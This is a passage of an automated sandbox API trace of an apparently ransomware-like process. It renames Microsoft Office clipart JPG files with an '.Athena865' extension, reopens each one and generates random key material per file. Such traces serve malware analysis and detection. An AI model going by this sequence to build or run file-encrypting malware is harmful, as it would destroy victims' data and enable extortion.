Office\\CLIPART\\PUB60COR\\J0382961.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.athena865"), dwFlags=0x1) returned 1 [0130.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.998] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=101060) returned 1 [0130.998] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.999] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.999] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.015] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.016] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.016] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.018] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382962.JPG" | out: lpString1="J0382962.JPG") returned="J0382962.JPG" [0131.018] lstrlenW (lpString="J0382962.JPG") returned 12 [0131.018] lstrlenW (lpString="Athena865") returned 9 [0131.018] lstrcmpiW (lpString1="82962.JPG", lpString2="Athena865") returned -1 [0131.018] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.Athena865") returned 73 [0131.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.athena865"), dwFlags=0x1) returned 1 [0131.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.020] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114423) returned 1 [0131.020] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.020] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.021] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.026] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.027] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.027] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.029] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382963.JPG" | out: lpString1="J0382963.JPG") returned="J0382963.JPG" [0131.029] lstrlenW (lpString="J0382963.JPG") returned 12 [0131.029] lstrlenW (lpString="Athena865") returned 9 [0131.029] lstrcmpiW (lpString1="82963.JPG", lpString2="Athena865") returned -1 [0131.029] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.Athena865") returned 73 [0131.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.athena865"), dwFlags=0x1) returned 1 [0131.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.030] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=97774) returned 1 [0131.030] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.031] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.031] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.038] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.039] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.039] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.041] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382965.JPG" | out: lpString1="J0382965.JPG") returned="J0382965.JPG" [0131.041] lstrlenW (lpString="J0382965.JPG") returned 12 [0131.041] lstrlenW (lpString="Athena865") returned 9 [0131.041] lstrcmpiW (lpString1="82965.JPG", lpString2="Athena865") returned -1 [0131.041] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.Athena865") returned 73 [0131.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.athena865"), dwFlags=0x1) returned 1 [0131.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.043] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113410) returned 1 [0131.043] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.043] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.044] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.049] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.050] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.050] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.052] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382966.JPG" | out: lpString1="J0382966.JPG") returned="J0382966.JPG" [0131.052] lstrlenW (lpString="J0382966.JPG") returned 12 [0131.052] lstrlenW (lpString="Athena865") returned 9 [0131.052] lstrcmpiW (lpString1="82966.JPG", lpString2="Athena865") returned -1 [0131.052] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.Athena865") returned 73 [0131.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.athena865"), dwFlags=0x1) returned 1 [0131.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.053] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=100488) returned 1 [0131.053] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.054] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.054] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.064] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.065] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.065] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.067] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382967.JPG" | out: lpString1="J0382967.JPG") returned="J0382967.JPG" [0131.067] lstrlenW (lpString="J0382967.JPG") returned 12 [0131.067] lstrlenW (lpString="Athena865") returned 9 [0131.067] lstrcmpiW (lpString1="82967.JPG", lpString2="Athena865") returned -1 [0131.067] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.Athena865") returned 73 [0131.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.athena865"), dwFlags=0x1) returned 1 [0131.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.069] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93448) returned 1 [0131.070] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.070] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.070] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.076] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.077] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.077] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.078] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382968.JPG" | out: lpString1="J0382968.JPG") returned="J0382968.JPG" [0131.078] lstrlenW (lpString="J0382968.JPG") returned 12 [0131.078] lstrlenW (lpString="Athena865") returned 9 [0131.078] lstrcmpiW (lpString1="82968.JPG", lpString2="Athena865") returned -1 [0131.078] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.Athena865") returned 73 [0131.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.athena865"), dwFlags=0x1) returned 1 [0131.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.080] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=112479) returned 1 [0131.080] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.081] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.081] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.088] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.088] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.088] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.090] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382969.JPG" | out: lpString1="J0382969.JPG") returned="J0382969.JPG" [0131.090] lstrlenW (lpString="J0382969.JPG") returned 12 [0131.090] lstrlenW (lpString="Athena865") returned 9 [0131.090] lstrcmpiW (lpString1="82969.JPG", lpString2="Athena865") returned -1 [0131.091] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.Athena865") returned 73 [0131.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.athena865"), dwFlags=0x1) returned 1 [0131.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.098] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96159) returned 1 [0131.098] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.100] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.100] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.114] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.117] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.117] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.119] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382970.JPG" | out: lpString1="J0382970.JPG") returned="J0382970.JPG" [0131.119] lstrlenW (lpString="J0382970.JPG") returned 12 [0131.119] lstrlenW (lpString="Athena865") returned 9 [0131.119] lstrcmpiW (lpString1="82970.JPG", lpString2="Athena865") returned -1 [0131.119] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.Athena865") returned 73 [0131.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.athena865"), dwFlags=0x1) returned 1 [0131.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.121] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88980) returned 1 [0131.121] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.122] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.122] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.133] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.134] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.134] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.135] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0384862.JPG" | out: lpString1="J0384862.JPG") returned="J0384862.JPG" [0131.135] lstrlenW (lpString="J0384862.JPG") returned 12 [0131.135] lstrlenW (lpString="Athena865") returned 9 [0131.135] lstrcmpiW (lpString1="84862.JPG", lpString2="Athena865") returned -1 [0131.135] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.Athena865") returned 73 [0131.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.athena865"), dwFlags=0x1) returned 1 [0131.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.138] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=102633) returned 1 [0131.138] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.139] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.139] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.149] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.149] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.149] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.151] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0384885.JPG" | out: lpString1="J0384885.JPG") returned="J0384885.JPG" [0131.151] lstrlenW (lpString="J0384885.JPG") returned 12 [0131.151] lstrlenW (lpString="Athena865") returned 9 [0131.151] lstrcmpiW (lpString1="84885.JPG", lpString2="Athena865") returned -1 [0131.151] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.Athena865") returned 73 [0131.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.athena865"), dwFlags=0x1) returned 1 [0131.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.153] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=97145) returned 1 [0131.153] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.154] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.154] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.164] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.165] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.165] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.167] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0384888.JPG" | out: lpString1="J0384888.JPG") returned="J0384888.JPG" [0131.167] lstrlenW (lpString="J0384888.JPG") returned 12 [0131.167] lstrlenW (lpString="Athena865") returned 9 [0131.167] lstrcmpiW (lpString1="84888.JPG", lpString2="Athena865") returned -1 [0131.167] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.Athena865") returned 73 [0131.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.athena865"), dwFlags=0x1) returned 1 [0131.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.169] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81971) returned 1 [0131.170] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.170] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.170] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.175] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.176] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.176] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.178] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0384895.JPG" | out: lpString1="J0384895.JPG") returned="J0384895.JPG" [0131.178] lstrlenW (lpString="J0384895.JPG") returned 12 [0131.178] lstrlenW (lpString="Athena865") returned 9 [0131.178] lstrcmpiW (lpString1="84895.JPG", lpString2="Athena865") returned -1 [0131.178] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.Athena865") returned 73 [0131.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.athena865"), dwFlags=0x1) returned 1 [0131.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.180] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55542) returned 1 [0131.180] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.184] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.184] CryptReleaseContext 